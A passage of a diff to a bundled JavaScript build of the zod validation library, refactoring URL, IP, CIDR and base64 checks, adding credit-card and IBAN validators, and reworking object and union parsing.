instanceof Promise)) + return toStandardResult(r, ctx); } catch (_3) { - return safeParseAsync(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues }); } + return validateAsync2(inst, value); }, vendor: "zod", version: 1 - })); -}); + }; +} var $ZodString = /* @__PURE__ */ $constructor("$ZodString", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string(inst._zod.bag); + inst._zod.pattern = def.pattern ?? anyString; inst._zod.parse = (payload, _3) => { if (def.coerce) try { @@ -91251,58 +91604,105 @@ var $ZodEmail = /* @__PURE__ */ $constructor("$ZodEmail", (inst, def) => { def.pattern ?? (def.pattern = email); $ZodStringFormat.init(inst, def); }); +var URL_BAD_FORMAT = 1; +var URL_UNPARSEABLE = 2; +function canParseURL(input2) { + try { + if (typeof URL !== "undefined" && typeof URL.canParse === "function") + return URL.canParse(input2); + new URL(input2); + return true; + } catch { + return false; + } +} +function validateURL(trimmed, def) { + if (!("normalize" in def) && !("hostname" in def) && !("protocol" in def)) { + return canParseURL(trimmed) || URL_UNPARSEABLE; + } + return parseURLObject(trimmed, def); +} +function parseURLObject(trimmed, def) { + if (!def.normalize && def.protocol?.source === httpProtocol.source && !/^https?:\/\//i.test(trimmed)) { + return URL_BAD_FORMAT; + } + try { + if (typeof URL !== "undefined") { + const URLStatic = URL; + if (typeof URLStatic.parse === "function") + return URLStatic.parse(trimmed) ?? URL_UNPARSEABLE; + } + return new URL(trimmed); + } catch { + return URL_UNPARSEABLE; + } +} +var asciiTabOrNewline = /[\t\n\r]/g; +function stripTabAndNewline(value) { + return value.replace(asciiTabOrNewline, ""); +} +function urlHostnameOk(url2, hostname3) { + hostname3.lastIndex = 0; + return hostname3.test(url2.hostname); +} +function urlProtocolOk(url2, protocol) { + protocol.lastIndex = 0; + return protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol); +} var $ZodURL = /* @__PURE__ */ $constructor("$ZodURL", (inst, def) => { $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { try { const trimmed = payload.value.trim(); - if (!def.normalize && def.protocol?.source === httpProtocol.source) { - if (!/^https?:\/\//i.test(trimmed)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid URL format", - input: payload.value, - inst, - continue: !def.abort - }); - return; - } + const url2 = validateURL(trimmed, def); + if (url2 === URL_BAD_FORMAT) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid URL format", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - const url2 = new URL(trimmed); - if (def.hostname) { - def.hostname.lastIndex = 0; - if (!def.hostname.test(url2.hostname)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid hostname", - pattern: def.hostname.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === URL_UNPARSEABLE) { + payload.issues.push({ + code: "invalid_format", + format: "url", + input: payload.value, + inst, + continue: !def.abort + }); + return; } - if (def.protocol) { - def.protocol.lastIndex = 0; - if (!def.protocol.test(url2.protocol.endsWith(":") ? url2.protocol.slice(0, -1) : url2.protocol)) { - payload.issues.push({ - code: "invalid_format", - format: "url", - note: "Invalid protocol", - pattern: def.protocol.source, - input: payload.value, - inst, - continue: !def.abort - }); - } + if (url2 === true) { + payload.value = stripTabAndNewline(trimmed); + return; } - if (def.normalize) { - payload.value = url2.href; - } else { - payload.value = trimmed; + if (def.hostname && !urlHostnameOk(url2, def.hostname)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid hostname", + pattern: def.hostname.source, + input: payload.value, + inst, + continue: !def.abort + }); } + if (def.protocol && !urlProtocolOk(url2, def.protocol)) { + payload.issues.push({ + code: "invalid_format", + format: "url", + note: "Invalid protocol", + pattern: def.protocol.source, + input: payload.value, + inst, + continue: !def.abort + }); + } + payload.value = def.normalize ? url2.href : stripTabAndNewline(trimmed); return; } catch (_3) { payload.issues.push({ @@ -91320,7 +91720,9 @@ var $ZodEmoji = /* @__PURE__ */ $constructor("$ZodEmoji", (inst, def) => { $ZodStringFormat.init(inst, def); }); var $ZodNanoID = /* @__PURE__ */ $constructor("$ZodNanoID", (inst, def) => { - def.pattern ?? (def.pattern = nanoid); + if (def.length !== void 0 && (!Number.isInteger(def.length) || def.length < 1)) + throw new Error(`Invalid nanoid length: ${def.length}`); + def.pattern ?? (def.pattern = def.length === void 0 ? nanoid : nanoidOfLength(def.length)); $ZodStringFormat.init(inst, def); }); var $ZodCUID = /* @__PURE__ */ $constructor("$ZodCUID", (inst, def) => { @@ -91362,16 +91764,18 @@ var $ZodISODuration = /* @__PURE__ */ $constructor("$ZodISODuration", (inst, def var $ZodIPv4 = /* @__PURE__ */ $constructor("$ZodIPv4", (inst, def) => { def.pattern ?? (def.pattern = ipv4); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv4`; }); +var ipv6Alphabet = /^[0-9a-fA-F:.]+$/; +function isValidIPv6(value) { + if (!ipv6Alphabet.test(value)) + return false; + return canParseURL(`http://[${value}]`); +} var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { def.pattern ?? (def.pattern = ipv6); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `ipv6`; inst._zod.check = (payload) => { - try { - new URL(`http://[${payload.value}]`); - } catch { + if (!isValidIPv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "ipv6", @@ -91385,30 +91789,30 @@ var $ZodIPv6 = /* @__PURE__ */ $constructor("$ZodIPv6", (inst, def) => { var $ZodMAC = /* @__PURE__ */ $constructor("$ZodMAC", (inst, def) => { def.pattern ?? (def.pattern = mac(def.delimiter)); $ZodStringFormat.init(inst, def); - inst._zod.bag.format = `mac`; }); var $ZodCIDRv4 = /* @__PURE__ */ $constructor("$ZodCIDRv4", (inst, def) => { def.pattern ?? (def.pattern = cidrv4); $ZodStringFormat.init(inst, def); }); +function isValidCIDRv6(value) { + const parts = value.split("/"); + if (parts.length !== 2) + return false; + const [address, prefix] = parts; + if (!prefix) + return false; + const prefixNum = Number(prefix); + if (`${prefixNum}` !== prefix) + return false; + if (prefixNum < 0 || prefixNum > 128) + return false; + return isValidIPv6(address); +} var $ZodCIDRv6 = /* @__PURE__ */ $constructor("$ZodCIDRv6", (inst, def) => { def.pattern ?? (def.pattern = cidrv6); $ZodStringFormat.init(inst, def); inst._zod.check = (payload) => { - const parts = payload.value.split("/"); - try { - if (parts.length !== 2) - throw new Error(); - const [address, prefix] = parts; - if (!prefix) - throw new Error(); - const prefixNum = Number(prefix); - if (`${prefixNum}` !== prefix) - throw new Error(); - if (prefixNum < 0 || prefixNum > 128) - throw new Error(); - new URL(`http://[${address}]`); - } catch { + if (!isValidCIDRv6(payload.value)) { payload.issues.push({ code: "invalid_format", format: "cidrv6", @@ -91433,10 +91837,10 @@ function isValidBase64(data) { return false; } } +var base64Charset = /^[0-9a-zA-Z+/]*={0,2}$/; var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { - def.pattern ?? (def.pattern = base64); + def.pattern ?? (def.pattern = base64Charset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64"; inst._zod.check = (payload) => { if (isValidBase64(payload.value)) return; @@ -91449,17 +91853,17 @@ var $ZodBase64 = /* @__PURE__ */ $constructor("$ZodBase64", (inst, def) => { }); }; }); +var base64urlCharset = /^[A-Za-z0-9_-]*$/; function isValidBase64URL(data) { - if (!base64url.test(data)) + if (!base64urlCharset.test(data)) return false; const base643 = data.replace(/[-_]/g, (c) => c === "-" ? "+" : "/"); const padded = base643.padEnd(Math.ceil(base643.length / 4) * 4, "="); return isValidBase64(padded); } var $ZodBase64URL = /* @__PURE__ */ $constructor("$ZodBase64URL", (inst, def) => { - def.pattern ?? (def.pattern = base64url); + def.pattern ?? (def.pattern = base64urlCharset); $ZodStringFormat.init(inst, def); - inst._zod.bag.contentEncoding = "base64url"; inst._zod.check = (payload) => { if (isValidBase64URL(payload.value)) return; @@ -91476,6 +91880,71 @@ var $ZodE164 = /* @__PURE__ */ $constructor("$ZodE164", (inst, def) => { def.pattern ?? (def.pattern = e164); $ZodStringFormat.init(inst, def); }); +var CC_SANITIZE = /[- ]/g; +function isLuhnAlgo(digits) { + let length = digits.length; + let bit2 = 1; + let sum = 0; + while (length) { + const value = digits.charCodeAt(--length) - 48; + bit2 ^= 1; + sum += bit2 ? [0, 2, 4, 6, 8, 1, 3, 5, 7, 9][value] : value; + } + return sum % 10 === 0; +} +function isValidCreditCard(input2) { + if (!creditCard.test(input2)) + return false; + return isLuhnAlgo(input2.replace(CC_SANITIZE, "")); +} +var $ZodCreditCard = /* @__PURE__ */ $constructor("$ZodCreditCard", (inst, def) => { + def.pattern ?? (def.pattern = creditCard); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidCreditCard(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "credit_card", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); +function isIso7064Mod97(iban3) { + let remainder = 0; + const len = iban3.length; + for (let i = 4; i < len; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + for (let i = 0; i < 4; i++) { + const code = iban3.charCodeAt(i); + remainder = (code >= 65 ? remainder * 100 + (code - 55) : remainder * 10 + (code - 48)) % 97; + } + return remainder === 1; +} +function isValidIBAN(input2) { + if (!iban.test(input2)) + return false; + return isIso7064Mod97(input2); +} +var $ZodIBAN = /* @__PURE__ */ $constructor("$ZodIBAN", (inst, def) => { + def.pattern ?? (def.pattern = iban); + $ZodStringFormat.init(inst, def); + inst._zod.check = (payload) => { + if (isValidIBAN(payload.value)) + return; + payload.issues.push({ + code: "invalid_format", + format: "iban", + input: payload.value, + inst, + continue: !def.abort + }); + }; +}); function isValidJWT(token, algorithm = null) { try { const tokensParts = token.split("."); @@ -91526,22 +91995,22 @@ var $ZodCustomStringFormat = /* @__PURE__ */ $constructor("$ZodCustomStringForma }); var $ZodNumber = /* @__PURE__ */ $constructor("$ZodNumber", (inst, def) => { $ZodType.init(inst, def); - inst._zod.pattern = inst._zod.bag.pattern ?? number; + inst._zod.pattern = number; inst._zod.parse = (payload, _ctx) => { if (def.coerce) try { payload.value = Number(payload.value); } catch (_3) { } - const input = payload.value; - if (typeof input === "number" && !Number.isNaN(input) && Number.isFinite(input)) { + const input2 = payload.value; + if (typeof input2 === "number" && !Number.isNaN(input2) && Number.isFinite(input2)) { return payload; } - const received = typeof input === "number" ? Number.isNaN(input) ? "NaN" : !Number.isFinite(input) ? "Infinity" : void 0 : void 0; + const received = typeof input2 === "number" ? Number.isNaN(input2) ? "NaN" : !Number.isFinite(input2) ? String(input2) : void 0 : void 0; payload.issues.push({ expected: "number", code: "invalid_type", - input, + input: input2, inst, ...received ? { received } : {} }); @@ -91561,13 +92030,13 @@ var $ZodBoolean = /* @__PURE__ */ $constructor("$ZodBoolean", (inst, def) => { payload.value = Boolean(payload.value); } catch (_3) { } - const input = payload.value; - if (typeof input === "boolean") + const input2 = payload.value; + if (typeof input2 === "boolean") return payload; payload.issues.push({ expected: "boolean", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -91600,13 +92069,13 @@ var $ZodBigIntFormat = /* @__PURE__ */ $constructor("$ZodBigIntFormat", (inst, d var $ZodSymbol = /* @__PURE__ */ $constructor("$ZodSymbol", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "symbol") + const input2 = payload.value; + if (typeof input2 === "symbol") return payload; payload.issues.push({ expected: "symbol", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -91617,13 +92086,13 @@ var $ZodUndefined = /* @__PURE__ */ $constructor("$ZodUndefined", (inst, def) => inst._zod.pattern = _undefined; inst._zod.values = /* @__PURE__ */ new Set([void 0]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "undefined", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -91634,13 +92103,13 @@ var $ZodNull = /* @__PURE__ */ $constructor("$ZodNull", (inst, def) => { inst._zod.pattern = _null; inst._zod.values = /* @__PURE__ */ new Set([null]); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input === null) + const input2 = payload.value; + if (input2 === null) return payload; payload.issues.push({ expected: "null", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -91669,13 +92138,13 @@ var $ZodNever = /* @__PURE__ */ $constructor("$ZodNever", (inst, def) => { var $ZodVoid = /* @__PURE__ */ $constructor("$ZodVoid", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (typeof input === "undefined") + const input2 = payload.value; + if (typeof input2 === "undefined") return payload; payload.issues.push({ expected: "void", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -91690,21 +92159,46 @@ var $ZodDate = /* @__PURE__ */ $constructor("$ZodDate", (inst, def) => { } catch (_err) { } } - const input = payload.value; - const isDate = input instanceof Date; - const isValidDate = isDate && !Number.isNaN(input.getTime()); + const input2 = payload.value; + const isDate = input2 instanceof Date; + const isValidDate = isDate && !Number.isNaN(input2.getTime()); if (isValidDate) return payload; payload.issues.push({ expected: "date", code: "invalid_type", - input, + input: input2, ...isDate ? { received: "Invalid Date" } : {}, inst }); return payload; }; }); +function capSize(inst, size3) { + const caps = sizeCaps(inst._zod.def.checks); + if (!caps.length) + return; + const cap = Math.min(...caps.map((c) => c[0])); + const parse4 = inst._zod.parse; + inst._zod.parse = (payload, ctx) => { + const n = size3(payload.value); + if (n > cap && !ctx?.skipChecks && ctx?.direction !== "backward") { + for (const [max2, ch] of sizeCaps(inst._zod.def.checks)) { + if (n > max2 && ch._zod.def.when(payload)) { + const start = payload.issues.length; + ch._zod.check(payload); + payload.issues[start].continue = false; + attachSchema(payload.issues, start, inst); + return payload; + } + } + } + return parse4(payload, ctx); + }; +} +var arraySize = (input2) => Array.isArray(input2) ? input2.length : -1; +var mapSize = (input2) => input2 instanceof Map ? input2.size : -1; +var setSize = (input2) => input2 instanceof Set ? input2.size : -1; function handleArrayResult(result2, final, index2) { if (result2.issues.length) { final.issues.push(...prefixIssues(index2, result2.issues)); @@ -91713,21 +92207,24 @@ function handleArrayResult(result2, final, index2) { } var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ expected: "array", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = Array(input.length); + payload.value = memo2 ? memo2.alloc(inst, payload, Array(input2.length), ctx) : Array(input2.length); const proms = []; - for (let i = 0; i < input.length; i++) { - const item = input[i]; + const abortEarly = ctx?.abortEarly; + for (let i = 0; i < input2.length; i++) { + const item = input2[i]; const result2 = def.element._zod.run({ value: item, issues: [] @@ -91736,6 +92233,8 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { proms.push(result2.then((result3) => handleArrayResult(result3, payload, i))); } else { handleArrayResult(result2, payload, i); + if (abortEarly && result2.issues.length !== 0 && aborted(result2)) + break; } } if (proms.length) { @@ -91743,16 +92242,21 @@ var $ZodArray = /* @__PURE__ */ $constructor("$ZodArray", (inst, def) => { } return payload; }; + capSize(inst, arraySize); }); -function handlePropertyResult(result2, final, key, input, isOptionalIn, isOptionalOut) { - const isPresent = key in input; +function handlePropertyResult(result2, final, key, input2, optin, optout) { + const isPresent = key in input2; + const isOptionalOut = optout === "optional"; + if (!isPresent && isOptionalOut && optin === "optional") { + return; + } if (result2.issues.length) { - if (isOptionalIn && isOptionalOut && !isPresent) { + if (optin !== void 0 && isOptionalOut && !isPresent) { return; } final.issues.push(...prefixIssues(key, result2.issues)); } - if (!isPresent && !isOptionalIn) { + if (!isPresent && optin === void 0) { if (!result2.issues.length) { final.issues.push({ code: "invalid_type", @@ -91764,58 +92268,75 @@ function handlePropertyResult(result2, final, key, input, isOptionalIn, isOption return; } if (result2.value === void 0) { - if (isPresent) { + if (isPresent || optin === "defaulted" && !isOptionalOut) { final.value[key] = void 0; } } else { final.value[key] = result2.value; } } +var NO_SYMBOL_KEYS = []; function normalizeDef(def) { const keys2 = Object.keys(def.shape); - for (const k of keys2) { + const ownSymbols = Object.getOwnPropertySymbols(def.shape); + const symbolKeys = ownSymbols.length ? ownSymbols : NO_SYMBOL_KEYS; + const allKeys2 = symbolKeys.length ? [...keys2, ...symbolKeys] : keys2; + for (const k of allKeys2) { if (!def.shape?.[k]?._zod?.traits?.has("$ZodType")) { - throw new Error(`Invalid element at key "${k}": expected a Zod schema`); + throw new Error(`Invalid element at key "${String(k)}": expected a Zod schema`); } } const okeys = optionalKeys(def.shape); return { ...def, - keys: keys2, + allKeys: allKeys2, + symbolKeys, + // string-only: handleCatchall matches it against `for...in`, which never yields a symbol keySet: new Set(keys2), numKeys: keys2.length, optionalKeys: new Set(okeys) }; } -function handleCatchall(proms, input, payload, ctx, def, inst) { +function handleCatchall(proms, input2, payload, ctx, def, inst, abortEarly) { const unrecognized = []; const keySet = def.keySet; const _catchall = def.catchall._zod; const t = _catchall.def.type; - const isOptionalIn = _catchall.optin === "optional"; - const isOptionalOut = _catchall.optout === "optional"; - for (const key in input) { - if (key === "__proto__") - continue; + const optin = _catchall.optin; + const optout = _catchall.optout; + let seen = 0; + for (const key in input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } if (keySet.has(key)) continue; + if (key === "__proto__") { + if (t === "never") + unrecognized.push(key); + continue; + } if (t === "never") { unrecognized.push(key); continue; } - const r = _catchall.run({ value: input[key], issues: [] }, ctx); + const r = _catchall.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (unrecognized.length) { payload.issues.push({ code: "unrecognized_keys", keys: unrecognized, - input, - inst + input: input2, + inst, + // Describes the shape of the input, not the validity of the parsed value, so it never aborts. The parse still fails; the schema's own checks just get to run first, and an enclosing intersection can reconcile the key against a sibling operand. + continue: true }); } if (!proms.length) @@ -91827,28 +92348,31 @@ function handleCatchall(proms, input, payload, ctx, def, inst) { var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { $ZodType.init(inst, def); const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); - if (!desc2?.get) { - const sh = def.shape; - Object.defineProperty(def, "shape", { - get: () => { - const newSh = { ...sh }; - Object.defineProperty(def, "shape", { - value: newSh - }); - return newSh; - } - }); + const sh = desc2?.get ? desc2.get.raw : def.shape ?? {}; + if (sh) { + const get2 = () => { + const newSh = { ...sh }; + Object.defineProperty(def, "shape", { value: newSh }); + get2.raw = newSh; + return newSh; + }; + get2.raw = sh; + Object.defineProperty(def, "shape", { get: get2 }); } const _normalized = cached(() => normalizeDef(def)); - defineLazy(inst._zod, "propValues", () => { - const shape = def.shape; + defineLazyInternal(inst, "propValues", (zod) => { + const shape = zod.def.shape; const propValues = {}; for (const key in shape) { const field = shape[key]._zod; if (field.values) { - propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set()); + if (!Object.prototype.hasOwnProperty.call(propValues, key)) { + assignProp(propValues, key, /* @__PURE__ */ new Set()); + } for (const v of field.values) propValues[key].add(v); + if (field.optin !== void 0) + propValues[key].add(void 0); } } return propValues; @@ -91856,91 +92380,107 @@ var $ZodObject = /* @__PURE__ */ $constructor("$ZodObject", (inst, def) => { const isObject5 = isObject3; const catchall = def.catchall; let value; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject5(input)) { + const input2 = payload.value; + if (!isObject5(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; } - payload.value = {}; + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const proms = []; const shape = value.shape; - for (const key of value.keys) { + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const key of value.allKeys) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } + if (key === "__proto__") + continue; const el = shape[key]; - const isOptionalIn = el._zod.optin === "optional"; - const isOptionalOut = el._zod.optout === "optional"; - const r = el._zod.run({ value: input[key], issues: [] }, ctx); + const optin = el._zod.optin; + const optout = el._zod.optout; + const r = el._zod.run({ value: input2[key], issues: [] }, ctx); if (r instanceof Promise) { - proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input, isOptionalIn, isOptionalOut))); + proms.push(r.then((r2) => handlePropertyResult(r2, payload, key, input2, optin, optout))); } else { - handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut); + handlePropertyResult(r, payload, key, input2, optin, optout); } } if (!catchall) { return proms.length ? Promise.all(proms).then(() => payload) : payload; } - return handleCatchall(proms, input, payload, ctx, _normalized.value, inst); + return handleCatchall(proms, input2, payload, ctx, _normalized.value, inst, abortEarly === true); }; }); var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => { $ZodObject.init(inst, def); const superParse = inst._zod.parse; const _normalized = cached(() => normalizeDef(def)); + const memo2 = globalConfig.memoizer; const generateFastpass = (shape) => { - const doc = new Doc(["shape", "payload", "ctx"]); const normalized = _normalized.value; - const parseStr = (key) => { - const k = esc(key); - return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; - }; + const syms = normalized.symbolKeys; + const doc = new Doc(["payload", "ctx"], { shape, inst, memo: memo2, syms }); + const parseStr = (k) => `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`; + const prefixStr = (id, k) => ` + let ${id}_ab = false; + for (let i = 0; i < ${id}.issues.length; i++) { + const iss = ${id}.issues[i]; + iss.path = iss.path ? [${k}, ...iss.path] : [${k}]; + payload.issues.push(iss); + if (iss.continue !== true) ${id}_ab = true; + } + if (${id}_ab && ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + }`; doc.write(`const input = payload.value;`); const ids = /* @__PURE__ */ Object.create(null); let counter = 0; - for (const key of normalized.keys) { + for (const key of normalized.allKeys) { ids[key] = `key_${counter++}`; } - doc.write(`const newResult = {};`); - for (const key of normalized.keys) { + doc.write(memo2 ? `const newResult = memo.alloc(inst, payload, {}, ctx);` : `const newResult = {};`); + for (const key of normalized.allKeys) { + if (key === "__proto__") + continue; const id = ids[key]; - const k = esc(key); + const k = typeof key === "symbol" ? `syms[${syms.indexOf(key)}]` : esc(key); + const isPresent = `${k} in input`; const schema = shape[key]; - const isOptionalIn = schema?._zod?.optin === "optional"; + const optin = schema?._zod?.optin; + const isOptionalIn = optin !== void 0; const isOptionalOut = schema?._zod?.optout === "optional"; - doc.write(`const ${id} = ${parseStr(key)};`); + doc.write(`const ${id} = ${parseStr(k)};`); if (isOptionalIn && isOptionalOut) { + const assign = optin === "optional" ? `${id}_present` : `${id}.value !== undefined || ${id}_present`; doc.write(` - if (${id}.issues.length) { - if (${k} in input) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (!${id}.issues.length || ${id}_present) { + if (${id}.issues.length) {${prefixStr(id, k)} } - } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; + + if (${assign}) { + newResult[${k}] = ${id}.value; } - } else { - newResult[${k}] = ${id}.value; } - + `); } else if (!isOptionalIn) { doc.write(` - const ${id}_present = ${k} in input; - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + const ${id}_present = ${isPresent}; + if (${id}.issues.length) {${prefixStr(id, k)} } if (!${id}_present && !${id}.issues.length) { payload.issues.push({ @@ -91949,41 +92489,36 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => input: undefined, path: [${k}] }); + if (ctx && ctx.abortEarly) { + payload.value = newResult; + return payload; + } } if (${id}_present) { - if (${id}.value === undefined) { - newResult[${k}] = undefined; - } else { - newResult[${k}] = ${id}.value; - } + newResult[${k}] = ${id}.value; } `); } else { doc.write(` - if (${id}.issues.length) { - payload.issues = payload.issues.concat(${id}.issues.map(iss => ({ - ...iss, - path: iss.path ? [${k}, ...iss.path] : [${k}] - }))); + if (${id}.issues.length) {${prefixStr(id, k)} } - - if (${id}.value === undefined) { - if (${k} in input) { - newResult[${k}] = undefined; - } + `); + if (optin === "defaulted") { + doc.write(`newResult[${k}] = ${id}.value;`); } else { + doc.write(` + if (${id}.value !== undefined || ${isPresent}) { newResult[${k}] = ${id}.value; } - `); + } } } doc.write(`payload.value = newResult;`); doc.write(`return payload;`); - const fn = doc.compile(); - return (payload, ctx) => fn(shape, payload, ctx); + return doc.compile(); }; let fastpass; const isObject5 = isObject3; @@ -91994,12 +92529,12 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => let value; inst._zod.parse = (payload, ctx) => { value ?? (value = _normalized.value); - const input = payload.value; - if (!isObject5(input)) { + const input2 = payload.value; + if (!isObject5(input2)) { payload.issues.push({ expected: "object", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -92010,7 +92545,7 @@ var $ZodObjectJIT = /* @__PURE__ */ $constructor("$ZodObjectJIT", (inst, def) => payload = fastpass(payload, ctx); if (!catchall) return payload; - return handleCatchall([], input, payload, ctx, value, inst); + return handleCatchall([], input2, payload, ctx, value, inst, ctx?.abortEarly === true); } return superParse(payload, ctx); }; @@ -92037,17 +92572,17 @@ function handleUnionResults(results, final, inst, ctx) { } var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.options.some((o) => o._zod.optin === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "optout", () => def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); - defineLazy(inst._zod, "values", () => { - if (def.options.every((o) => o._zod.values)) { - return new Set(def.options.flatMap((option) => Array.from(option._zod.values))); + defineLazyInternal(inst, "optin", (zod) => zod.def.options.some((o) => o._zod.optin === "defaulted") ? "defaulted" : zod.def.options.some((o) => o._zod.optin !== void 0) ? "optional" : void 0); + defineLazyInternal(inst, "optout", (zod) => zod.def.options.some((o) => o._zod.optout === "optional") ? "optional" : void 0); + defineLazyInternal(inst, "values", (zod) => { + if (zod.def.options.every((o) => o._zod.values)) { + return new Set(zod.def.options.flatMap((option) => Array.from(option._zod.values))); } return void 0; }); - defineLazy(inst._zod, "pattern", () => { - if (def.options.every((o) => o._zod.pattern)) { - const patterns = def.options.map((o) => o._zod.pattern); + defineLazyInternal(inst, "pattern", (zod) => { + if (zod.def.options.every((o) => o._zod.pattern)) { + const patterns = zod.def.options.map((o) => o._zod.pattern); return new RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join("|")})$`); } return void 0; @@ -92081,12 +92616,16 @@ var $ZodUnion = /* @__PURE__ */ $constructor("$ZodUnion", (inst, def) => { }; }); function handleExclusiveUnionResults(results, final, inst, ctx) { - const successes = results.filter((r) => r.issues.length === 0); - if (successes.length === 1) { - final.value = successes[0].value; + const matches = []; + for (let i = 0; i < results.length; i++) { + if (results[i].issues.length === 0) + matches.push(i); + } + if (matches.length === 1) { + final.value = results[matches[0]].value; return final; } - if (successes.length === 0) { + if (matches.length === 0) { final.issues.push({ code: "invalid_union", input: final.value, @@ -92099,7 +92638,8 @@ function handleExclusiveUnionResults(results, final, inst, ctx) { input: final.value, inst, errors: [], - inclusive: false + inclusive: false, + matches }); } return final; @@ -92133,55 +92673,83 @@ var $ZodXor = /* @__PURE__ */ $constructor("$ZodXor", (inst, def) => { }); }; }); +function getDiscriminatedOption(union3, value) { + const internals = union3._zod; + let map3 = internals.bag.optionsMap; + if (!map3) { + map3 = discriminatorMap(internals.def); + internals.bag.optionsMap = map3; + } + const option = map3.get(value); + if (option === null) + throw new Error(`Ambiguous discriminator value "${String(value)}"`); + return option; +} +function discriminatorMap(def) { + const map3 = /* @__PURE__ */ new Map(); + for (const option of def.options) { + const values3 = option._zod.propValues?.[def.discriminator]; + if (!values3 || values3.size === 0) + throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + for (const value of values3) { + if (map3.has(value)) { + if (value !== void 0) + throw new Error(`Duplicate discriminator value "${String(value)}"`); + map3.set(value, null); + } else { + map3.set(value, option); + } + } + } + return map3; +} var $ZodDiscriminatedUnion = /* @__PURE__ */ $constructor("$ZodDiscriminatedUnion", (inst, def) => { def.inclusive = false; $ZodUnion.init(inst, def); const _super = inst._zod.parse; - defineLazy(inst._zod, "propValues", () => { + defineLazyInternal(inst, "propValues", (zod) => { const propValues = {}; - for (const option of def.options) { + let undefinedCount = 0; + for (const option of zod.def.options) { const pv = option._zod.propValues; if (!pv || Object.keys(pv).length === 0) - throw new Error(`Invalid discriminated union option at index "${def.options.indexOf(option)}"`); + throw new Error(`Invalid discriminated union option at index "${zod.def.options.indexOf(option)}"`); + if 